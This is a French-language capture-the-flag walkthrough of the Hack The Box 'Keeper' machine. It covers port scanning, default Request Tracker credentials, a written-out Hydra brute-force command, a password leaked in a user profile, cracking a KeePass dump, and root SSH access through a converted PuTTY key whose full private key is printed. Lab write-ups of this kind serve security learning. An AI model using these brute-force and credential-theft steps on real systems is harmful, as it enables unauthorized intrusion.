 | | Machine name | OS | IP | Difficulty |
|---|
| Keeper | Linux | 10.10.11.227 | Easy |
|
Enumeration
nmap
1
2
3
4
5
6
7
8
9
10
| ┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -sC -A -n -p- 10.10.11.227
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_ 256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
|
Website : tickets.keeper.htb
On observe que le port 80 est ouvert. En allant sur firefox, on peut voir une phrase menant vers un lien
1
| To raise an IT support ticket, please visit tickets.keeper.htb/rt/
|
Pour pouvoir accéder à ce lien sur la machine cible, il faut relier l’IP de la machine cible à ce nom de domaine dans le fichier /etc/hosts.
/etc/hosts
1
2
| ## On ajoute la ligne suivante
10.10.11.227 keeper.htb tickets.keeper.htb
|
Login Page : default credentials
En accédant au lien http://tickets.keeper.htb/rt/ on tombe sur une page de connexion user/password.
En testant quelques user/password par defaut on trouve :
root/password
En cherchant sur internet les user/pass par defaut sur Request Tracker, on peut trouver la phrase suivante :
The original (default) RT root user password is “password”
Hydra: Bruteforce login page
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| sudo hydra -l,-L <Username/List> -p,-P <Password/List> <IP or domain name> <Method> "<Path>:<RequestBody>:<IncorrectVerbiage>"
## Dans notre cas
sudo hydra -l root -P /usr/share/wordlists/rockyou.txt tickets.keeper.htb http-post-form "/rt/NoAuth/Login.html:user=^USER^&pass=^PASS^&next=b9a09132c611f3dce07e77d9fde8ffde:Your username or password is incorrect"
## Résultat
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-28 19:08:49
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://tickets.keeper.htb:80/rt/NoAuth/Login.html:user=^USER^&pass=^PASS^&next=b9a09132c611f3dce07e77d9fde8ffde:Your username or password is incorrect
[80][http-post-form] host: tickets.keeper.htb login: root password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-28 19:09:00
|
On obtient bien root/password à l’aide d’hydra ! Avec un bruteforce de la méthode POST.
Password Leak for user lnorgaard
En faisant quelques recherches sur la page d’administration du site en tant que root, on a pu lister les utiliseurs ayant les droits d’amdministrateurs. On trouve notamment un utilisateur qui aurait le pseudo : lnorgaard
En cliquant sur son pseudo, on accède à une page de profil. Sur cette page, on peut lire la description suivante:
New user. Initial password set to Welcome2023!
On a alors pu se connecter en SSH avec cet utilisateur et ce mot de passe :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| ┌──(kali㉿kali)-[~]
└─$ ssh lnorgaard@10.10.11.227
lnorgaard@10.10.11.227's password: Welcome2023!
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Fri Dec 29 00:17:45 2023 from 10.10.16.58
lnorgaard@keeper:~$ whoami
lnorgaard
lnorgaard@keeper:~$ ls
KeePassDumpFull.dmp passcodes.kdbx poc.py RT30000.zip user.txt
lnorgaard@keeper:~$ cat user.txt
41f1.....d10c
|
Privilege escalation
passcodes.kdbx : SSH to root
Un fichier avec un dump du mot de passe d’une base de donnée keepass est disponible sur le compte de lnorgaard. On trouve une vulnérabilité sur internet pour cracker ce dump. A l’aide d’un fichier python qu’on execute sur ce fichier on obtient le mot de passe de la bdd keepass contenu dans un fichier passcodes.kdbx :
rødgrød med fløde
En ouvrant, à l’aide du logiciel keepass et de la clée, un mot de passe pour le ssh :
root: F4><3K0nd!
Il y a aussi un commentaire qui semble préciser une clée public et une clée privée. Important pour pouvoir se connecter en ssh à root. Le fichier semble avoir été généré par putty.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
|
En cherchant sur internet, on découvre qu’on peut convertir les clées en format openssh pour pouvoir se connecter ensuite en ssh facilement.
Voici la commande pour générer les clées :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| ## générer la clée public
$ puttygen key.ppk -O public-openssh
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81TEHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LMCj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1TuFVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQLxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et rsa-key-20230519
## généré la clée privée
$ puttygen key.ppk -O private-openssh
puttygen: need to specify an output file
$ puttygen key.ppk -O private-openssh -o rsa_id
$ cat rsa_id
----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf
Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n
FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A
MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p
5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF
NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz
wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A
XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK
cz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6
WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8J
lTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8
S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOA
GSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28
/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2j
gZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQ
a8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeR
RMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJT
jzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPL
TV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9
LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH
6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2Wrx
heBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhs
qun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3
BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL
-----END RSA PRIVATE KEY-----
|
J’ai pu ensuite l’envoyer sur la kali puis sur la machine cible (pas forcement necessaire) à l’aide de scp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| ## J'ai copié à la main vers la VM en ouvrant avec vim un fichier
lnorgaard@keeper:~$ vim rsa_id
## Tentative de connexion ssh vers root
lnorgaard@keeper:~$ ssh root@keeper.htb -i rsa_id
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0664 for 'rsa_id' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "rsa_id": bad permissions
root@keeper.htb's password:
lnorgaard@keeper:~$ chmod 600 rsa_id
## Tentative de connexion ssh vers root
lnorgaard@keeper:~$ ssh root@keeper.htb -i rsa_id
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Fri Dec 29 00:08:39 2023 from 10.10.14.156
root@keeper:~# whoami
root
root@keeper:~# ls
root.txt RT30000.zip SQL
root@keeper:~# cat root.txt
be35.....f853
|